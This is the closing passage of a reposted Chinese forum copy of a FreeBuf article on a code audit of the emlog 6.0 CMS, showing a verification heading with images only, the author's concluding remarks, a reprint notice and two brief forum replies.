    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIricawjD7gDE7NRSIowB6k2ib5uVISnwRhPGXqchGkEMnYnjUUN2Qjxzvw/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">漏洞验证</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrHk7q7Vzb2P0GEDQbPTmEyvfbibia5VmSPWZUbNW5Sfz1gia13G7nicGLCg/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="https://mmbiz.qpic.cn/mmbiz_jpg/b8ibibLfdoP5RtjnX0q3V5IpPezg90rrIrvd9pLjnmgnJ0oES9jLjuwfbB1zT6jgKHyneOEFpoNCNeP6DknoeGFg/640?wx_fmt=jpeg&amp;tp=webp&amp;wxfrom=5&amp;wx_lazy=1&amp;wx_co=1" style="width: 50%; margin-bottom: 20px;"></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;"><span style="color: black;">4、</span>结束语</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;">这个cms漏洞当然不止这些,还有<span style="color: black;">非常多</span>问题。其实<span style="color: black;">全部</span>过程中审计的漏洞利用价值都不大,堪<span style="color: black;">叫作</span>鸡肋,本文只是分享自己学习的过程,由简单到<span style="color: black;">繁杂</span>,分享一下自己的学习体会<span style="color: black;">罢了</span>,望各位师傅多多包涵。</p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">*本文作者:fishyyh,转载请注明来自FreeBuf.COM。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><img src="data:image/svg+xml,%3C%3Fxml version=1.0 encoding=UTF-8%3F%3E%3Csvg width=1px height=1px viewBox=0 0 1 1 version=1.1 xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Ctitle%3E%3C/title%3E%3Cg stroke=none stroke-width=1 fill=none fill-rule=evenodd fill-opacity=0%3E%3Cg transform=translate(-249.000000, -126.000000) fill=%23FFFFFF%3E%3Crect x=249 y=126 width=1 height=1%3E%3C/rect%3E%3C/g%3E%3C/g%3E%3C/svg%3E" style="width: 50%; margin-bottom: 20px;"></p>




4lqedz 发表于 2024-10-23 09:44:22

你的话语真是温暖如春,让我心生感激。

4lqedz 发表于 6 天前

“沙发”(SF,第一个回帖的人)‌
页: [1]
查看完整版本: CMS代码审计之emlog 6.0